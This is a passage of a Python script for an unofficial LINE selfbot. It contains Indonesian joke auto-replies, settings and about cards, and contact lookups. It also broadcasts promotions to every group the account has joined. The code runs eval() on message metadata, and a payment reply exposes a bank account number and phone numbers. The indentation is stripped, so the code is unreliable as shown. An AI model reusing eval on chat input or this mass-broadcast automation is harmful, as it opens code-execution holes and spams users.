d = str(b["singer"])
e = str(b["url"])
g = str(b["image"])
hasil = "ᴘᴇɴʏᴀɴʏɪ: "+str(d)
hasil += "\nᴊᴜᴅᴜʟ : "+str(c)
data = {
"type": "flex",
"altText": "ᴍᴜsɪᴋ",
"contents": {
"styles": {
"body": {
"backgroundColor": "#000000"
},
"footer": {
"backgroundColor": "#9932CC"
}
},
"type": "bubble",
"body": {
"contents": [
{
"contents": [
{
"url": g,
"type": "image"
},
{
"type": "separator",
"color": "#FF0000"
},
{
"text": "<NAME>\n\nᴍᴘ³",
"size": "sm",
"color": "#FF0000",
"wrap": True,
"weight": "bold",
"type": "text"
}
],
"type": "box",
"spacing": "md",
"layout": "horizontal"
},
{
"type": "separator",
"color": "#800080"
},
{
"contents": [
{
"contents": [
{
"text": hasil,
"size": "xs",
"margin": "none",
"color": "#FF6347",
"wrap": True,
"weight": "regular",
"type": "text"
}
],
"type": "box",
"layout": "baseline"
}
],
"type": "box",
"layout": "vertical"
}
],
"type": "box",
"spacing": "md",
"layout": "vertical"
},
"footer": {
"contents": [
{
"contents": [
{
"contents": [
{
"text": "ᴘʟᴀʏ ᴅɪʙᴀᴡᴀʜ",
"size": "xxl",
"weight": "bold",
"action": {
"uri": e,
"type": "uri",
"label": "Audio"
},
"margin": "xl",
"align": "start",
"color": "#FFD700",
"weight": "bold",
"type": "text"
}
],
"type": "box",
"layout": "baseline"
}
],
"type": "box",
"layout": "horizontal"
}
],
"type": "box",
"layout": "vertical"
}
}
}
cl.postTemplate(to, data)
cl.sendAudioWithURL(to,e)
except Exception as error:
sendTextTemplate(to, "error\n" + str(error))
logError(error)
elif cmd == "myset":
if wait["selfbot"] == True:
if msg._from in admin:
tz = pytz.timezone("Asia/Jakarta")
timeNow = datetime.now(tz=tz)
md = "╭──CANNIBAL KILLER──\n"
if wait["sticker"] == True: md+="├🔹sᴛɪᴄᴋᴇʀ ᴏɴ\n"
else: md+="├🔹sᴛɪᴄᴋᴇʀ ᴏғғ\n"
if wait["left"] == True: md+="├🔹ʟᴇғᴛ ᴏɴ\n"
else: md+="├🔹ʟᴇғᴛ ᴏғғ\n"
if wait["contact"] == True: md+="├🔹ᴄᴏɴᴛᴀᴄᴛ ᴏɴ\n"
else: md+="├🔹ᴄᴏɴᴛᴀᴄᴛ ᴏғғ\n"
if wait["talkban"] == True: md+="├🔹ᴛᴀʟᴋʙᴀɴ ᴏɴ\n"
else: md+="├🔹ᴛᴀʟᴋʙᴀɴ ᴏғғ\n"
if wait["unsend"] == True: md+="├🔹ᴜɴsᴇɴᴅ ᴏɴ\n"
else: md+="├🔹ᴜɴsᴇɴᴅ ᴏғғ\n"
if wait["Mentionkick"] == True: md+="├🔹ɴᴏᴛᴀɢ ᴏɴ\n"
else: md+="├🔹ɴᴏᴛᴀɢ ᴏɴ\n"
if wait["detectMention"] == True: md+="├🔹ʀᴇsᴘᴏɴ ᴏɴ\n"
else: md+="├🔹ʀᴇsᴘᴏɴ ᴏɴ\n"
if wait["autoJoin"] == True: md+="├🔹ᴀᴜᴛᴏᴊᴏɪɴ ᴏɴ\n"
else: md+="├🔹ᴀᴜᴛᴏᴊᴏɪɴ ᴏғғ\n"
if wait["autoAdd"] == True: md+="├🔹ᴀᴜᴛᴏᴀᴅᴅ ᴏɴ\n"
else: md+="├🔹ᴀᴜᴛᴏᴀᴅᴅ ᴏɴ\n"
if msg.to in welcome: md+="├🔹ᴡᴇʟᴄᴏᴍᴇ ᴏɴ\n"
else: md+="├🔹ᴡᴇʟᴄᴏᴍᴇ ᴏғғ\n"
if wait["autoLeave"] == True: md+="├🔹ᴀᴜᴛᴏʟᴇᴀᴠᴇ ᴏɴ\n"
else: md+="├🔹ᴀᴜᴛᴏʟᴇᴀᴠᴇ ᴏғғ\n"
if msg.to in protectqr: md+="├🔹ᴘʀᴏᴛᴇᴄᴛᴜʀʟ ᴏɴ\n"
else: md+="├🔹ᴘʀᴏᴛᴇᴄᴛᴜʀʟ ᴏғғ\n"
if msg.to in protectjoin: md+="├🔹ᴘʀᴏᴛᴇᴄᴛᴊᴏɪɴ ᴏɴ\n"
else: md+="├🔹ᴘʀᴏᴛᴇᴄᴛᴊᴏɪɴ ᴏғғ\n"
if msg.to in protectkick: md+="├🔹 ᴘʀᴏᴛᴇᴄᴛᴋɪᴄᴋ ᴏɴ\n"
else: md+="├🔹ᴘʀᴏᴛᴇᴄᴛᴋɪᴄᴋ ᴏғғ\n"
if msg.to in protectcancel: md+="├🔹ᴘʀᴏᴛᴇᴄᴛᴄᴀɴᴄᴇʟ ᴏɴ\n"
else: md+="├🔹ᴘʀᴏᴛᴇᴄᴛᴄᴀɴᴄᴇʟ ᴏғғ\n╰──────────────╯\n"
sendTextTemplate(msg.to, md+"\nᴛᴀɴɢɢᴀʟ : "+ datetime.strftime(timeNow,'%Y-%m-%d')+"\nᴊᴀᴍ [ "+ datetime.strftime(timeNow,'%H:%M:%S')+" ]")
elif cmd == "owner" or text.lower() == 'creator':
if msg._from in admin:
cl.sendMessage(msg.to, "ucc10b6f6bc11284e0aa9b2a2fb16b70c")
ma = ""
for i in creator:
ma = cl.getContact(i)
cl.sendMessage(msg.to, None, contentMetadata={'ucc10b6f6bc11284e0aa9b2a2fb16b70c': i}, contentType=13)
cl.sendMessage(msg.to, None, contentMetadata={"STKID":"16083749","STKPKGID":"1419343","STKVER":"1"}, contentType=7)
elif cmd == "asem" or text.lower() == 'asemmm' or text.lower() == 'sem' or text.lower() == 'semm':
if wait["selfbot"] == True:
sendTextTemplate(msg.to, "ᴋᴇᴛᴀʜᴜᴀɴ ʟᴜ ᴋᴀᴋ ʙᴇʟᴜᴍ ᴍᴀɴᴅɪ ᴘᴀɴᴛᴇsᴀɴ ʙᴀᴜ ᴀssᴇᴇᴇᴍᴍ😂")
elif cmd == "pekok" or text.lower() == 'pekokkk':
if wait["selfbot"] == True:
sendTextTemplate(msg.to, "sᴇsᴀᴍᴀ ᴘᴇᴋᴏᴋ ᴅɪ ʟᴀʀɪɴɢ ᴄᴏʟʟʏ😃😃")
elif cmd == "sue":
if wait["selfbot"] == True:
sendTextTemplate(msg.to, "ᴇᴍᴀɴɢ ᴜᴅᴀʜ sᴜᴇ ᴘᴜɴʏᴀ ᴋᴋ, ᴋᴀʟᴏ ɢᴀᴋ sᴜᴇ, ɢᴀᴋ ʙᴀᴋᴀʟᴀɴ ʙɪsᴀ ᴅɪ ᴛᴜsᴜᴋ ᴀɴᴜ ᴋᴋ😂")
elif cmd == "dudul" or text.lower() == 'pea':
if wait["selfbot"] == True:
sendTextTemplate(msg.to, "sᴇsᴀᴍᴀ ᴅᴜᴅᴜʟ ᴊᴀɴɢᴀɴ sᴀʟɪɴɢ ʙᴜʟʟʏ ᴋᴋ😂, ᴅɪ ʙᴀᴡᴀʜ ᴍᴜ ᴊᴜɢᴀ ᴜᴅᴀʜ ɢᴜɴᴅᴜʟ ᴋᴋ 😜")
elif cmd == "typo" or text.lower() == 'typo':
if wait["selfbot"] == True:
sendTextTemplate(msg.to, "ᴛʏᴘᴏ ᴍᴜʟᴜ sɪʜ, ᴊᴀʀɪ ᴊᴇᴍᴘᴏʟ sᴇᴍᴜᴀ sᴏᴀʟ ɴʏᴀ😂")
elif cmd == "aduh" or text.lower() == 'waduh':
if wait["selfbot"] == True:
sendTextTemplate(msg.to, "ᴡᴀᴅᴜʜ ᴋᴇɴᴀᴘᴀ ᴋᴋ\nᴋᴇᴊᴇᴅᴏᴛ ᴘɪɴᴛᴜ ʏᴀ. ᴇᴍᴀɴɢ ᴇɴᴀᴋ😂")
elif cmd == "hus" or text.lower() == 'huss':
if wait["selfbot"] == True:
sendTextTemplate(msg.to, "ᴅɪ ʟᴀʀᴀɴɢ ʙʀɪsɪᴋ ᴅɪ ʀᴏᴏᴍ ɪɴɪ ʙᴀɴʏᴀᴋ ʏᴀɴɢ ᴏʟᴇɴɢ😂")
elif cmd == "pm":
if wait["selfbot"] == True:
sendTextTemplate(msg.to, "sᴏʀʀʏ ᴀᴋᴜ ᴛɪᴅᴀᴋ ɴᴇʀɪᴍᴀ ᴘᴍ ᴏʀᴀɴɢ ᴊᴏᴍʙʟᴏ ɴɢᴇɴᴇs😜")
elif text.lower() == "midku":
if wait["selfbot"] == True:
sendTextTemplate(msg.to, msg._from)
elif cmd == "ngopi" or text.lower() == 'ngopi susu guys':
if wait["selfbot"] == True:
sendTextTemplate(msg.to, "ᴜᴅᴀʜ ᴘᴀᴅᴀ ɴɢᴏᴘɪ ʙᴇʟᴜᴍ ᴋᴋ, ᴋᴀʟᴏ ʙᴇʟᴜᴍ sɪɴɪ ᴋᴋ ɴʏᴜsᴜ ʙᴀʀᴇɴɢ 😜")
elif cmd == "nah" or text.lower() == 'nahhh':
if wait["selfbot"] == True:
sendTextTemplate(msg.to, "ɴᴀʜ ɴᴏʜ ɴᴀʜ ɴᴏʜ\nᴘᴀʟᴀᴋ ᴋᴜ ᴍᴜᴍᴇᴛ\nᴋʟᴏ ʟᴜ ʙɪʟᴀɴɢ ɴᴀʜ ɴᴏʜ😂")
elif cmd == "salken":
if wait["selfbot"] == True:
sendTextTemplate(msg.to, "sᴀʟᴋᴇɴᴊᴜ ᴋᴋ\nsᴇᴍᴏɢᴀ ᴀᴡᴀʟ ᴋɪᴛᴀ ᴋᴇɴᴀʟ\nʙɪsᴀ ᴊᴀᴅɪ ᴊᴏᴅᴏʜ ʏᴀ ᴋᴋ😍")
elif cmd == "bomat":
if wait["selfbot"] == True:
sendTextTemplate(msg.to, "ᴀᴋᴜ ᴍᴀʜ ʙᴏᴅᴏʜ ᴀᴍᴀᴛ\nᴇᴍᴀɴɢ ɴʏᴀ ʟᴜ sɪᴀᴘᴀ😂")
elif cmd == "cipok":
if wait["selfbot"] == True:
sendTextTemplate(msg.to, "ᴄɪᴘᴏᴋ ᴄɪᴘᴏᴋ ᴄɪᴘᴏᴋ\nᴋᴇɴᴄɪɴɢ ʟᴜ ᴀᴊᴀ ᴍᴀsɪʜ ɢᴋ ʟᴜʀᴜs\nᴍᴀᴜ ᴄɪᴘᴏᴋ ᴏʀᴀɴɢ😜")
elif cmd == "janda":
if wait["selfbot"] == True:
sendTextTemplate(msg.to, "ᴇᴍᴀɴɢ ᴋᴀᴜ ᴊᴀɴᴅᴀ ᴋᴋ\nᴇᴍᴀɴɢ ᴍᴀᴜ sᴀᴍᴀ ᴊᴀɴᴅᴀ ᴀɴᴀᴋ 3 ᴋᴋ\nᴛᴀᴘɪ sᴀʏᴀɴɢ ᴜᴅᴀʜ ᴀɴᴜ ᴘᴜɴʏᴀ ᴋᴋ 😂")
elif cmd == "duda":
if wait["selfbot"] == True:
sendTextTemplate(msg.to, "ᴇᴍᴀɴɢ ᴀᴋᴜ ᴅᴜᴅᴀ ᴋᴋ,,,\nᴋʟᴏ ᴋᴋ ᴍᴀᴜ ᴀᴍᴀ ᴅᴜᴅᴀ\nᴀʏᴜᴋ ᴋɪᴛᴀ ᴊᴀᴅɪᴀɴ😂")
elif cmd == "salam":
if wait["selfbot"] == True:
sendTextTemplate(msg.to, "السَّلاَمُ عَلَيْكُمْ وَرَحْمَةُ اللهِ وَبَرَكَاتُهُ")
elif cmd == "bot":
if wait["selfbot"] == True:
sendTextTemplate(msg.to, "ʙᴀᴛ ʙᴏᴛ ʙᴀᴛ ʙᴏᴛ ᴍᴀᴛᴀᴍᴜ ɪᴛᴜ ʙᴏᴛ\nᴀᴋᴜ ᴍᴀʜ ʙᴜᴋᴀɴ ʙᴏᴛ\nᴛᴀᴘɪ ʙᴀᴘᴀᴋᴇ ʙᴏᴛ 😜")
elif cmd == "siang":
if wait["selfbot"] == True:
sendTextTemplate(msg.to, "sɪᴀɴɢ ᴊᴜɢᴀ ᴋᴋ ᴋᴜ sʏᴀɴᴛɪᴋ, ᴜᴅᴀʜ ᴅᴀᴘᴀᴛ ᴛɪᴋᴜɴɢᴀɴ ʙᴇʟᴜᴍ ᴋᴋ 😅")
elif cmd == "pagi":
if wait["selfbot"] == True:
sendTextTemplate(msg.to, "ᴘᴀɢɪ ᴊᴜɢᴀ ᴋᴋ, ᴜᴅᴀʜ sᴀʀᴀᴘᴀɴ ʙᴇʟᴜᴍ 😘")
elif cmd == "sore":
if wait["selfbot"] == True:
sendTextTemplate(msg.to, "sᴏʀᴇ ᴊᴜɢᴀ ᴋᴋ, ᴜᴅᴀʜ ᴍᴀɴᴅɪ ʙᴇʟᴜᴍ, ᴋᴀʟᴏ ʙᴇʟᴜᴍ sɪɴɪ ᴀᴋᴜ ᴛᴇᴍᴇɴɪ ᴋᴋ ᴍᴀɴᴅɪ 🤗هُ")
elif cmd == "malam":
if wait["selfbot"] == True:
sendTextTemplate(msg.to, "ᴍᴀʟᴀᴍ ᴊᴜɢᴀ ᴋᴋ, ᴡᴀᴋᴛᴜ ɴʏᴀ ɴɪᴋᴜɴɢ ᴇɴᴀᴋ ɴʏᴀ ᴍᴀʟᴀᴍ-ᴍᴀʟᴀᴍ ɢɪɴɪ ᴋᴋ 😛")
elif cmd == "kojom":
if wait["selfbot"] == True:
sendTextTemplate(msg.to, "ɴᴀʜ ᴋᴀɴ,,,ɴɢᴀᴊᴀᴋɪɴ ᴋᴏᴊᴏᴍ,,,ɴᴛᴀʀ ʙᴏᴊᴏɴᴇ ᴍᴀʀᴀʜ ʙᴀʀᴜ ᴛᴀᴜ ʀᴀsᴀ ᴋᴋ 😜هُ")
elif cmd == "nikung":
if wait["selfbot"] == True:
sendTextTemplate(msg.to, "ᴀʏᴜᴋ ᴋᴋ ᴋɪᴛᴀ ɴɪᴋᴜɴɢ, ʟᴀɴɢsᴜɴɢ ᴘᴍ ᴀᴊᴀ ʏᴀ ᴋᴋ😂")
elif cmd == "assalamualaikum" or text.lower() == 'asalamualaikum':
if wait["selfbot"] == True:
sendTextTemplate(msg.to, "وَعَلَيْكُمْ السَّلاَمُ وَرَحْمَةُ اللهِ وَبَرَكَاتُهُ ")
elif cmd == "susu" or text.lower() == 'nyusu':
if wait["selfbot"] == True:
sendTextTemplate(msg.to, "sᴜsᴜ sᴜsᴜ sᴜsᴜ, ᴅᴀʀɪ ᴋᴇᴄɪʟ ʟᴜ sᴜᴅᴀʜ ᴅɪ ɴʏᴜsᴜɪɴ, ᴍᴀsᴀ ᴍɪɴᴛᴀ ɴʏᴜsᴜ sᴀᴍᴀ ʀᴏɴᴅᴏ ᴋᴋ😂")
elif cmd == "setan":
if wait["selfbot"] == True:
sendTextTemplate(msg.to, "sᴇᴛᴀɴ sᴇᴛᴀɴ sᴇᴛᴀɴ, ᴇᴍᴀɴɢ ᴍᴜᴋᴀ ʟᴜ ᴋᴀʏᴀᴋ sᴇᴛᴀɴ ᴋᴋ😂")
elif cmd == "makan":
if wait["selfbot"] == True:
sendTextTemplate(msg.to, "ᴜᴅᴀʜ ᴘᴀᴅᴀ ᴍᴀᴋᴀɴ ʙᴇʟᴏᴍ ᴋᴋ, ᴋᴀʟᴏ ʙᴇʟᴏᴍ sɪɴɪ ᴀᴋᴜ sᴜᴀᴘɪɴ ᴋᴋ")
elif cmd == "minum":
if wait["selfbot"] == True:
sendTextTemplate(msg.to, "sɪɴɪ ᴋᴋ ᴍɪɴᴜᴍ ʙᴀʀᴇɴɢ ᴋɪᴛᴀ😛")
elif cmd == "paymment":
if wait["selfbot"] == True:
sendTextTemplate(msg.to, "ᴘᴀʏᴍᴇɴᴛ ᴠɪᴀ ʙᴀɴᴋ\nɴᴏ ʀᴇᴋ : 481901020711531\nᴀᴛᴀs ɴᴀᴍᴀ : muhazir\nʙᴀɴᴋ ʙʀɪ\n\nᴠɪᴀ ᴘᴜʟsᴀ\n085753228919\n08992906209 \n082358521114")
elif cmd == "wa'alaikumsalam" or text.lower() == 'waalaikumsalam':
if wait["selfbot"] == True:
sendTextTemplate(msg.to, "ɴᴀʜ ɢɪᴛᴜ ᴊᴀᴡᴀʙ sᴀʟᴀᴍ sᴇsᴀᴍᴀ ᴍᴜsʟɪᴍ😘😍")
elif cmd == "about":
groups = cl.getGroupIdsJoined()
contacts = cl.getAllContactIds()
blockeds = cl.getBlockedContactIds()
crt = "u3a1a2458a60d209a3d4802e789b7d540","u3a1a2458a60d209a3d4802e789b7d540"
supp = "u3a1a2458a60d209a3d4802e789b7d540","u3a1a2458a60d209a3d4802e789b7d540","u3a1a2458a60d209a3d4802e789b7d540","u3a1a2458a60d209a3d4802e789b7d540","u3a1a2458a60d209a3d4802e789b7d540","u3a1a2458a60d209a3d4802e789b7d540","u3a1a2458a60d209a3d4802e789b7d540","u3a1a2458a60d209a3d4802e789b7d540","u3a1a2458a60d209a3d4802e789b7d540","u3a1a2458a60d209a3d4802e789b7d540","u3a1a2458a60d209a3d4802e789b7d540","u3a1a2458a60d209a3d4802e789b7d540","u3a1a2458a60d209a3d4802e789b7d540","u3a1a2458a60d209a3d4802e789b7d540","u3a1a2458a60d209a3d4802e789b7d540","u3a1a2458a60d209a3d4802e789b7d540"
suplist = []
lists = []
tz = pytz.timezone("Asia/Makassar")
timeNow = datetime.now(tz=tz)
day = ["Sunday", "Monday", "Tuesday", "Wednesday", "Thursday","Friday", "Saturday"]
hari = ["Minggu", "Senin", "Selasa", "Rabu", "Kamis", "Jumat", "Sabtu"]
bulan = ["Januari", "Februari", "Maret", "April", "Mei", "Juni", "Juli", "Agustus", "September", "Oktober", "November", "Desember"]
hr = timeNow.strftime("%A")
bln = timeNow.strftime("%m")
timeNoww = time.time()
for i in range(len(day)):
if hr == day[i]: hasil = hari[i]
for k in range(0, len(bulan)):
if bln == str(k): bln = bulan[k-1]
readTime = hasil + ", " + timeNow.strftime('%d') + " - " + bln + " - " + timeNow.strftime('%Y') + "\nâ Jam : [ " + timeNow.strftime('%H:%M:%S') + " ]"
data = {
"type": "flex",
"altText": "ᴀʙᴏᴜᴛ",
"contents": {
"styles": {
"body": {
"backgroundColor": "#000000"
},
"footer": {
"backgroundColor": "#000000"
}
},
"type": "bubble",
"size": "micro",
"body": {
"contents": [
{
"contents": [
{
"url": "https://obs.line-scdn.net/{}".format(cl.getContact(mid).pictureStatus),
"type": "image"
},
{
"type": "separator",
"color": "#FF0000"
},
{
"text": "CANNIBAL\nKILLER\nTEAM\nSELFBOT",
"size": "xs",
"color": "#FFFF00",
"wrap": True,
"weight": "bold",
"type": "text"
}
],
"type": "box",
"spacing": "xs",
"layout": "horizontal"
},
{
"type": "separator",
"color": "#FF0000"
},
{
"contents": [
{
"contents": [
{
"text": " {}".format(cl.getProfile().displayName),
"size": "xs",
"margin": "none",
"color": "#ADFF2F",
"weight": "bold",
"type": "text"
}
],
"type": "box",
"layout": "baseline"
},
{
"type": "separator",
"color": "#FF0000"
},
{
"contents": [
{
"text": "ɢʀᴏᴜᴘ: {}".format(str(len(groups))),
"size": "xs",
"margin": "none",
"color": "#FFFF00",
"wrap": True,
"weight": "regular",
"type": "text"
}
],
"type": "box",
"layout": "baseline"
},
{
"contents": [
{
"text": "ғʀɪᴇɴᴅ: {}".format(str(len(contacts))),
"size": "xs",
"margin": "none",
"color": "#FFFF00",
"wrap": True,
"weight": "regular",
"type": "text"
}
],
"type": "box",
"layout": "baseline"
},
{
"contents": [
{
"text": "ʙʟᴏᴄᴋ: {}".format(str(len(blockeds))),
"size": "xs",
"margin": "none",
"color": "#FFFF00",
"wrap": True,
"weight": "regular",
"type": "text"
}
],
"type": "box",
"layout": "baseline"
}
],
"type": "box",
"layout": "vertical"
}
],
"type": "box",
"spacing": "xs",
"layout": "vertical"
},
"footer": {
"type": "box",
"layout": "horizontal",
"contents": [
{
"type": "text",
"text": "CANNIBAL",
"size": "xs",
"wrap": True,
"weight": "bold",
"color": "#7CFC00",
"action": {
"type": "uri",
"uri": "http://line.me/ti/p/~4rman3"
},
"align": "center"
},
{
"type": "separator",
"color": "#000000"
},
{
"type": "text",
"text": "ᴋɪʟʟᴇʀ",
"size": "xs",
"wrap": True,
"weight": "bold",
"color": "#7CFC00",
"action": {
"type": "uri",
"uri": "http://line.me/ti/p/~4rman3"
},
"align": "center"
}
]
}
}
}
cl.postTemplate(to, data)
elif cmd == "aim":
if wait["selfbot"] == True:
if msg._from in admin:
musik(to)
elif cmd == ".me" or text.lower() == 'gue':
if wait["selfbot"] == True:
if msg._from in admin:
msg.contentType = 13
msg.contentMetadata = {'mid': mid}
cl.sendContact(to, mid)
elif "autoreject " in msg.text.lower():
xpesan = msg.text.lower()
xres = xpesan.replace("autoreject ","")
if xres == "off":
settings['autorejc'] = False
sendTextTemplate(msg.to,"ᴀᴜᴛᴏʀᴇᴊᴇᴄᴛ ᴏғғ ɢᴀᴋ ᴀᴍᴀɴ ᴅᴀᴅɪ sᴘᴀᴍ")
elif xres == "on":
settings['autorejc'] = True
sendTextTemplate(msg.to,"ᴀᴜᴛᴏʀᴇᴊᴇᴄᴛ ᴏɴ ᴀᴍᴀɴ ᴅᴀʀɪ sᴘᴀᴍ")
elif text.lower() == "mid":
cl.sendMessage(msg.to, msg._from)
elif text.lower() == "mymid":
cl.sendMessage(msg.to, msg._from)
elif ("Mid " in msg.text):
if wait["selfbot"] == True:
if msg._from in admin:
key = eval(msg.contentMetadata["MENTION"])
key1 = key["MENTIONEES"][0]["M"]
mi = cl.getContact(key1)
cl.sendMessage(msg.to, "ɴᴀᴍᴀ : "+str(mi.displayName)+"\nᴍɪᴅ : " +key1)
cl.sendMessage(msg.to, None, contentMetadata={'u03addfbbbdb20585381383e5d173d28d': key1}, contentType=13)
elif ("Info " in msg.text):
if wait["selfbot"] == True:
if msg._from in admin:
key = eval(msg.contentMetadata["MENTION"])
key1 = key["MENTIONEES"][0]["M"]
mi = cl.getContact(key1)
sendTextTemplate8(msg.to, "ɴᴀᴍᴀ : "+str(mi.displayName)+"\nᴍɪᴅ : " +key1+"\nsᴛᴀᴛᴜs ᴍsɢ"+str(mi.statusMessage))
cl.sendMessage(msg.to, None, contentMetadata={'mid': key1}, contentType=13)
if "videoProfile='{" in str(cl.getContact(key1)):
cl.sendVideoWithURL(msg.to, 'http://dl.profile.line.naver.jp'+str(mi.picturePath)+'/vp.small')
else:
cl.sendImageWithURL(msg.to, 'http://dl.profile.line.naver.jp'+str(mi.picturePath))
elif cmd == "mybot":
if wait["selfbot"] == True:
if msg._from in admin or msg._from in creator:
msg.contentType = 13
msg.contentMetadata = {'mid': mid}
cl.sendMessage1(msg)
msg.contentType = 13
msg.contentMetadata = {'mid': Amid}
cl.sendMessage1(msg)
msg.contentType = 13
msg.contentMetadata = {'mid': Bmid}
cl.sendMessage1(msg)
msg.contentType = 13
msg.contentMetadata = {'mid': Cmid}
cl.sendMessage1(msg)
msg.contentType = 13
msg.contentMetadata = {'mid': Dmid}
cl.sendMessage1(msg)
msg.contentType = 13
msg.contentMetadata = {'mid': Emid}
cl.sendMessage1(msg)
msg.contentType = 13
msg.contentMetadata = {'mid': Fmid}
cl.sendMessage1(msg)
msg.contentType = 13
msg.contentMetadata = {'mid': Gmid}
cl.sendMessage1(msg)
msg.contentType = 13
msg.contentMetadata = {'mid': Hmid}
cl.sendMessage1(msg)
msg.contentType = 13
msg.contentMetadata = {'mid': Imid}
cl.sendMessage1(msg)
msg.contentType = 13
msg.contentMetadata = {'mid': Jmid}
cl.sendMessage1(msg)
msg.contentType = 13
msg.contentMetadata = {'mid': Zmid}
cl.sendMessage1(msg)
elif text.lower() == "hapuschat":
if wait["selfbot"] == True:
if msg._from in admin:
try:
cl.removeAllMessages(op.param2)
sendTextTemplate(msg.to,"🔹ʜᴀᴘᴜs ᴄʜᴀᴛ ᴅᴏɴᴇ")
except:
pass
elif text.lower() == "all clear":
if wait["selfbot"] == True:
if msg._from in admin:
try:
ki.removeAllMessages(op.param2)
ki.sendMessage(msg.to,"🔹ʜᴀᴘᴜs ᴄʜᴀᴛ ʙᴏᴛ ᴅᴏɴᴇ")
kk.removeAllMessages(op.param2)
kk.sendMessage(msg.to,"🔹ʜᴀᴘᴜs ᴄʜᴀᴛ ʙᴏᴛ ᴅᴏɴᴇ")
kc.removeAllMessages(op.param2)
kc.sendMessage(msg.to,"🔹ʜᴀᴘᴜs ᴄʜᴀᴛ ʙᴏᴛ ᴅᴏɴᴇ")
sendTextTemplate(msg.to,"🔹ʜᴀᴘᴜs ᴄʜᴀᴛ ʙᴏᴛ ᴅᴏɴᴇ")
except:
pass
elif cmd.startswith("bs1: "):
if msg._from in admin:
sep = text.split(" ")
pesan = text.replace(sep[0] + " ","")
saya = cl.getGroupIdsJoined()
for group in saya:
data = {
"contents": [
{
"hero": {
"aspectMode": "cover",
"url": "https://media1.giphy.com/media/fnKtAO0GLeiD6/200w.webp?cid=19f5b51a5c454d542f704f7a6395da37",
"action": {
"uri": "http://line.me/ti/p/~4rman3",
"type": "uri"
},
"type": "image",
"size": "full"
},
"styles": {
"body": {
"backgroundColor": "#000000"
},
"footer": {
"backgroundColor": "#00008B"
},
"header": {
"backgroundColor": "#00008B"
}
},
"type": "bubble",
"body": {
"contents": [
{
"contents": [
{
"contents": [
{
"text": pesan,
"color": "#FF0000",
"wrap": True,
"weight": "bold",
"type": "text",
"size": "lg",
"align": "center"
}
],
"type": "box",
"layout": "baseline"
}
],
"type": "box",
"spacing": "xs",
"layout": "vertical"
}
],
"type": "box",
"spacing": "xs",
"layout": "vertical"
},
"type": "bubble",
"footer": {
"type": "box",
"layout": "horizontal",
"contents": [
{
"type": "text",
"text": "ᴘʀᴏᴍᴏ",
"size": "xl",
"wrap": True,
"weight": "bold",
"color": "#FFFFFF",
"action": {
"type": "uri",
"uri": "http://line.me/ti/p/~4rman3"
},
"align": "center"
}
]
},
"type": "bubble",
"header": {
"type": "box",
"layout": "horizontal",
"contents": [
{
"type": "text",
"text": "CANNIBAL BOT",
"size": "xl",
"wrap": True,
"weight": "bold",
"color": "#FFFFFF",
"align": "center"
}
]
}
}
],
"type": "carousel"
}
#cl.postFlex(group, data)
#
# elif cmd.startswith("broadcast: "):
# if wait["selfbot"] == True:
# if msg._from in admin:
# sep = text.split(" ")
# pesan = text.replace(sep[0] + " ","")
# saya = cl.getGroupIdsJoined()
# for group in saya:
# sendTextTemplate8(group,"[ ɴᴜᴍᴘᴀɴɢ ᴘʀᴏᴍᴏ ᴋᴋ ]\n" + str(pesan))
#
# elif "hah" in msg.text.lower():
# url = "https://game.linefriends.com/jbp-lcs-ranking/lcs/sendMessage"
# to = msg.to
# data = {
# "type": "template",
# "altText": "{} sent a sticker".format(cl.getProfile().displayName),
# "template": {
# "type": "image_carousel",
# "columns": [
# {
# "imageUrl": "https://4.bp.blogspot.com/-W_bn2qqdYXE/Wyhbjj2wqKI/AAAAAAANIz4/KQVsbq-aXm0kZNfFOS5SN8fqCvQ18xnUACLcBGAs/s1600/AW1238502_03.gif",
# "size": "full",
# "action": {
# "type": "uri",
# "uri": "http://line.me/ti/p/~muhajir_alwi"
# }
# }
# ]
# }
# }
# cl.postTemplate(to, data)
#
# elif "sedih" in msg.text.lower():
# url = "https://game.linefriends.com/jbp-lcs-ranking/lcs/sendMessage"
# to = msg.to
# data = {
# "type": "template",
# "altText": "{} sent a sticker".format(cl.getProfile().displayName),
# "template": {
# "type": "image_carousel",
# "columns": [
# {
# "imageUrl": "https://3.bp.blogspot.com/-OfIz4mSIumw/WbLEZw7l6nI/AAAAAAARd6Y/Dxzos1SA_5MU32bXFTKToLDndM7YpV7WACLcBGAs/s1600/AW529310_04.gif",
# "size": "full",
# "action": {
# "type": "uri",
# "uri": "http://line.me/ti/p/~muhajir_alwi"
# }
# }
# ]
# }
# }
# cl.postTemplate(to, data)
#
# elif "hadeh" in msg.text.lower():
# url = "https://game.linefriends.com/jbp-lcs-ranking/lcs/sendMessage"
# to = msg.to
# data = {
# "type": "template",
# "altText": "{} sent a sticker".format(cl.getProfile().displayName),
# "template": {
# "type": "image_carousel",
# "columns": [
# {
# "imageUrl": "https://i.ibb.co/dJ1H13M/Benjol.gif",
# "size": "full",
# "action": {
# "type": "uri",
# "uri": "http://line.me/ti/p/~muhajir_alwi"
# }
# }
# ]
# }
# }
# cl.postTemplate(to, data)
#
# elif "bomat" in msg.text.lower():
# url = "https://game.linefriends.com/jbp-lcs-ranking/lcs/sendMessage"
# to = msg.to
# data = {
# "type": "template",
# "altText": "{} sent a sticker".format(cl.getProfile().displayName),
# "template": {
# "type": "image_carousel",
# "columns": [
# {
# "imageUrl": "https://lh3.googleusercontent.com/-xNJ4AMTRxv4/Wx92ZYSEflI/AAAAAAACsvA/KK44SSrO6dYlR7Xig15WXDN7oCcUS6fPwCJoC/w480-h480-n/gplus-1561983519.gif",
# "size": "full",
# "action": {
# "type": "uri",
# "uri": "http://line.me/ti/p/~muhajir_alwi"
# }
# }
# ]
# }
# }
# cl.postTemplate(to, data)
#
# elif "asem" in msg.text.lower():
# url = "https://game.linefriends.com/jbp-lcs-ranking/lcs/sendMessage"
# to = msg.to
# data = {
# "type": "template",
# "altText": "{} sent a sticker".format(cl.getProfile().displayName),
# "template": {
# "type": "image_carousel",
# "columns": [
# {
# "imageUrl": "https://1.bp.blogspot.com/-j51nCknouj8/WDwHtTJUqKI/AAAAAAALmo8/qax6OG7QAmQs6aICNGwSP0CkebJzAbOSgCLcB/s1600/AS001874_19.gif",
# "size": "full",
# "action": {
# "type": "uri",
# "uri": "http://line.me/ti/p/~muhajir_alwi"
# }
# }
# ]
# }
# }
# cl.postTemplate(to, data)
#
#elif "biarin" in msg.text.lower():
# url = "https://game.linefriends.com/jbp-lcs-ranking/lcs/sendMessage"
# to = msg.to
# data = {
# "type": "template",
# "altText": "{} sent a sticker".format(cl.getProfile().displayName),
# "template": {
# "type": "image_carousel",
# "columns": [
# {
